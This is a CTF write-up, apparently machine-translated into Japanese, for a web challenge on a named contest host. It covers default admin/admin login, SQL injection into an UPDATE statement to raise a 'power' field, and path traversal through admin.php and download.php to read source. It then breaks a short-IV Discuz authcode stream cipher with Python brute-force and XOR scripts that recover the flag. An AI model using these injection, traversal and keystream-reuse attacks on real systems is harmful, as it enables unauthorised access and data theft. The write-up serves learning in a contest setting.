と入力すると、index.php でログインや登録ができることがわかり、admin/admin を試してみたところ、本当にログインできました。後で別の人が登録していることが確認されました。 。
user.php はデータを変更できます。性別フィールドを挿入できることをテストしました。
#!phpupdate users set sex=[injection_here] where id = 1;
[injection_here] 部分にそのような機能があることがわかりました。このステートメント (挿入された場合) はフィールドの名前です。このフィールドが存在する場合は 1 が返され、そうでない場合は 0 が返されます。特に必要でない限り、http パラメータを通じて渡される文字はすべて数値に変換されません。ここでの性別は 0 と 1 で表され、これはこの条件とまったく同じです。しかし、テストには長い時間がかかりましたが、結果は得られませんでした。翌日、最初のヒントが表示されました。ページの指示に従ってください。 admin.php にアクセスすると、
#!bashYour power is too low.
が構築されていることがわかり、それをクリックするとファイルが 2 つあることがわかります。 test.php、welcome.php のファイルをクリックすると、ファイルが http://url/file/download.php であることが分かりました。このディレクトリ内のファイルはダウンロードできますが、ダウンロードできません。 download.php をダウンロードするときに、2 つの連続した小数点またはスラッシュが検出されると、不正な操作が要求され、非常に恥ずかしいです。
#!phpupdate users set sex=1,power=1 where id = 1;制御可能なパラメータをすべて注意深く見てみると、admin.php の m パラメータが次のようであることがわかりました。
ここには任意のファイルの読み込みがあると思いますが、そうではありませんadmin.php A ディレクトリと同じですが、カレントディレクトリ名がわからないので、カレントディレクトリ名は気にせず、そのままクロスします。
#!htmlhttp://url/admin.php?m=filemanager
切り詰めると無効になります
#!htmlhttp://url/admin.php?m=../indexしかし、実際にホームページに戻った場合は、現在のディレクトリにあるファイルを 1 か所にダウンロードでき、任意の php を含めることができます。ファイルを別の場所に置くと、2 つの場所を組み合わせることができます。どのような火花が表示されますか?
download.php のソース コードを推測します
download.php
#!php<?php$file=$_GET['f'];if(stripos($file,'..')||stripos($file,'/')){ print "Illeagle opperation!";}else if(!file_get_contents($file)){ print "file not found";}else{ header('Content-Type:file/documents'); //忘了咋写了。。。乱写一个类型 header('Content-Disposition: attachment; filename="'.$file.'"'); header('Content-Length:'.filesize($file)); readfile(dirname(__FILE__).$file);}?>
#!php<?php require_once('inc/common.php');if ($_SESSION['power'] == 1){ if (isset($_GET['m'])) { $model = "model/" . $_GET['m'] . ".php"; if (!is_file($model)){ echo "Model not exist!"; exit; } else { include_once($model); } }} else { exit("Error, your power is too low.");}?>
が直接ダウンロードされたことがわかります。 。
#!htmlhttp://url/admin.php?m=../file/download&f=admin.phpその後、ヒント3を与えてflag.phpをダウンロードしました(実際にグループで議論している人を見かけました。このファイルを推測してヒントを出しました)ので、ダウンロードして見てみました
authcode.php
#!php<?phprequire_once('inc/common.php');require_once('authcode.php');echo "where is the flag?";$flag = authcode('4da1JE+SVphprnaoZJlJTsXKmi+hkEFTlkrbShMA6Uq5npWavTX8vFAh3yGYDf6OcbZePTLJIT+rB2sHzmPO2tuVQ','DECODE',$authkey);?>
#!php<?phpfunction authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) { // 动态密匙长度,相同的明文会生成不同密文就是依靠动态密匙 $ckey_length = 3; // 密匙 $key = md5($key ? $key : $GLOBALS['discuz_auth_key']); // 密匙a会参与加解密 $keya = md5(substr($key, 0, 16)); // 密匙b会用来做数据完整性验证 $keyb = md5(substr($key, 16, 16)); // 密匙c用于变化生成的密文 $keyc = $ckey_length?($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(hash('sha256', microtime()), -$ckey_length)) : ''; // 参与运算的密匙 $cryptkey = $keya.md5($keya.$keyc); $key_length = strlen($cryptkey); // 明文,前10位用来保存时间戳,解密时验证数据有效性,10到26位用来保存$keyb(密匙b),解密时会通过这个密匙验证数据完整性 // 如果是解码的话,会从第$ckey_length位开始,因为密文前$ckey_length位保存 动态密匙,以保证解密正确 $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string; $string_length = strlen($string); $result = ''; $box = range(0, 255); $rndkey = array(); // 产生密匙簿 for($i = 0; $i <= 255; $i++) { $rndkey[$i] = ord($cryptkey[$i % $key_length]); } // 用固定的算法,打乱密匙簿,增加随机性,好像很复杂,实际上对并不会增加密文的强度 for($j = $i = 0; $i < 256; $i++) { $j = ($j + $box[$i] + $rndkey[$i]) % 256; $tmp = $box[$i]; $box[$i] = $box[$j]; $box[$j] = $tmp; } // 核心加解密部分 for($a = $j = $i = 0; $i < $string_length; $i++) { $a = ($a + 1) % 256; $j = ($j + $box[$a]) % 256; $tmp = $box[$a]; $box[$a] = $box[$j]; $box[$j] = $tmp; // 从密匙簿得出密匙进行异或,再转成字符 $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256])); } if($operation == 'DECODE') { // substr($result, 0, 10) == 0 验证数据有效性 // substr($result, 0, 10) - time() > 0 验证数据有效性 // substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16) 验证数据完整性 // 验证数据有效性,请看未加密明文的格式 if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) { return substr($result, 26); } else { return ''; } } else { // 把动态密匙保存在密文里,这也是为什么同样的明文,生产不同密文后能解密的原因 // 因为加密后的密文可能是一些特殊字符,复制过程可能会丢失,所以用base64编码 return $keyc.str_replace('=', '', base64_encode($result)); } }?>このパスワードブックは非常に複雑で、仕方なく見てみたところ、keyc は時間に関係しており、現在の sha256 の最初の 3 文字であることがわかりました。 keyc が使用されている場合、keyc を暗号文に含める必要があります。そうでない場合、コードを読んだところ、最終的な暗号文は確かに keyc の最初の 3 桁を結合していることがわかりました。これが唯一の突破口です。
discuz 認証コードの欠陥について Google で検索したところ、この実装で実装されているストリーム暗号の IV 部分が短すぎて、わずか 4 桁であると誰かが指摘していることがわかりました。質問に示されている修正バージョンには 3 桁しかないので、keya と keyb が固定されているため、それを爆発させる方法を見つけてください。パスワードブックを生成するには、keya、keyb、keyc が正しいことを確認するだけで済みます。同じパスワードを生成する場合は同じです。
より前にダウンロードされた test.php の内容が一連の平文を提供していることに注意してください。その後、このページにアクセスし続けることで暗号文を取得し、最初の内容を展開できます。最初の 3 桁が同じ場合 ストリーム暗号で使用されるキーも同じです。 以下は単純なブラスト スクリプトです。
#!php<?php require_once(dirname(__FILE__).'/../inc/common.php');require_once(dirname(__FILE__).'/../authcode.php');if ($_SESSION['power'] == 1){ $test = "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM"; echo authcode($test,'ENCODE',$authkey);} else { exit("Error, your power is too low.");}?>web.py
#!pythonimport requestsurl1 = 'http://408ffe393d342329a.jie.sangebaimao.com/file/test.php'url2 = 'http://408ffe393d342329a.jie.sangebaimao.com/index.php'url3 = 'http://408ffe393d342329a.jie.sangebaimao.com/user.php's = requests.session()data = {'username':'admin','password':'admin','submit':'login'}res=s.post(url2,data=data);c=s.get(url1)while c.content[0:3]!='4da': c=s.get(url1) print c.content[0:3]print c.content
暗号文の各文字 (ここでは keyc は結合されていません) が xor 演算を通じて取得されていることがわかります。 xor のもう一方のオペランドは固定です。次に、平文は xor で 2 回解くことができます。しかし、これだけでは十分ではありません。暗号文の構成を分析してみましょう。
#!phpfor($a = $j = $i = 0; $i < $string_length; $i++) { $a = ($a + 1) % 256; $j = ($j + $box[$a]) % 256; $tmp = $box[$a]; $box[$a] = $box[$j]; $box[$j] = $tmp; // 从密匙簿得出密匙进行异或,再转成字符 $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256])); }
つまり、取得した暗号文の最初の 3 桁は動的キーであり、キーが同じであれば次の 26 桁は固定されます。実際の暗号文は 29 番目から始まります。数字を使用して、暗号文の最初の 3 桁を削除し、等号を埋めて、復号化しました。
#!php$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string; return $keyc.str_replace('=', '', base64_encode($result));exp.py
#!pythonimport base64flagcode='1JE+SVphprnaoZJlJTsXKmi+hkEFTlkrbShMA6Uq5npWavTX8vFAh3yGYDf6OcbZePTLJIT+rB2sHzmPO2tuVQ=='testcode='1JE+SVphprnaoZMwdTdAfTy5hRlRHlspMHwQWPdxqCgEY/nV4uAQwTCcJjyge8HOK6eYL9/28l61TX/dNzAIf3R7wDnRqqFsj5chZoMsnjjvy1UbpdRiEg=='test='1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM'testcode_b64decode=base64.b64decode(testcode)[26:]flagcode_b64decode=base64.b64decode(flagcode)[26:]flag=''for i in range(0,len(flagcode_b64decode)): flag+=chr(ord(flagcode_b64decode[i])^(ord(testcode_b64decode[i])^ord(test[i])))print flag
#!bashmiao{de142af548c3b52fd754c1c29a100b67}